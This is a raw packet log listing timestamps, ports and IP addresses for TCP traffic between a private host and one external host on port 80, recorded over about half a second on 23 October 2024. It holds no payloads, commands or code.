Oct 23, 2024 15:48:20.622720957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622751951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622752905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622752905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622764111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622777939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622790098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622796059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622796059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622837067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622838020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622843027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622855902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622867107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622878075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622896910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622899055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622899055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622909069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622922897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622936010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622942924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622942924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622968912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622981071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622992039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623009920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623016119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623016119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623023033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623034954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623047113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623058081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623073101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623075962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623075962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623086929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623119116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623120070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623136997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623148918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623172998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623172998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623195887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623208046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623220921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623229980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623229980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623262882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623264074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623339891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623352051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623364925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623375893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623399019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623414993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623435020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623447895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623460054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623501062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623501062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623538017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623550892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623562098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623573065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623584986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.623609066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.623943090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.624914885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624936104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624948025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624958992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624969959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624983072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.624994993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625008106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625019073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625036955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625046968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625049114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625061989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625073910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625086069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625099897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625112057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625132084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625142097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625143051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625142097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625159025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625171900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625186920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625188112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625225067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625258923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625269890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625282049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625293970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625305891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625318050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625329971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625334978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625334978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625341892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625355005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625365973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625377893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625399113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625442982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625442982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625597000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625610113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625618935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625631094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625643015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625653982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625658989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625665903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625679016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625689983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625700951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625706911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625706911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625713110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625731945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625744104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625754118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625756025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625756025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625767946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625780106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625792027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625804901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625817060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625817060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625817060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625864029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625864029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625889063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625905991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625917912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625927925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625937939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625950098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625962019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625973940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.625983953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625983953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.625989914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626003027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626015902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626027107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626044035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626054049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626054049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626063108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626074076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626085043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626096010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626107931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626126051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626126051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626136065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626147032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626190901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626190901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.626197100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.626209974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.627336979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.714354038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.719995022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996656895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996762991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996795893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.996799946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996834993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996843100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.996843100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.996869087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996905088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996937990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996948004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.996957064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.996973038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.996983051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997006893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997011900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997042894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997075081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997086048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997086048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997107983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997140884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997149944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997149944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997175932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997201920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997219086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997232914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997270107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997311115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997311115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997323036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997359991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997390985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997411966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997417927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997445107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997477055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997483015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997483015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997510910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997539997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997543097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997555017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997579098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997611046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997617006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997617006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997648954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997683048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997692108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997692108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997716904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997750044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997757912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997757912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997800112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997802973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997845888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997853041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997886896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997926950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997926950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.997936964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.997972965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998004913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998011112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998011112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998042107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998055935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998102903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998106003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998140097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998172045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998187065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998187065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998222113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998254061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998267889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998267889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998305082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998337984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998349905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998349905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998372078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998379946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998402119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998444080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998444080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998455048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998507977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998536110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998555899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998569965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998589993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998619080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998641014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998686075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998686075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998691082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998725891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998740911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998768091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998776913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998810053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998823881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998859882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998893976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998907089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998907089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998943090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998946905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.998975992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.998992920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999027967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999077082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999077082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999080896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999114990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999144077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999165058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999192953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999200106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999228001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999247074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999247074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999262094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999308109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999308109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999344110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999396086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999433041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999438047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999438047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999465942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999481916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999500036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999531984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999542952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999542952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999564886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999571085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999594927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999628067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999641895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999641895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999660969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999692917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999703884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999703884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999726057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999737024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999758959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999793053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999804020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999804020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999825001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999834061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999860048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999870062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.999892950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.999924898 CEST	80	49730	185.215.113.37	192.168.2.4
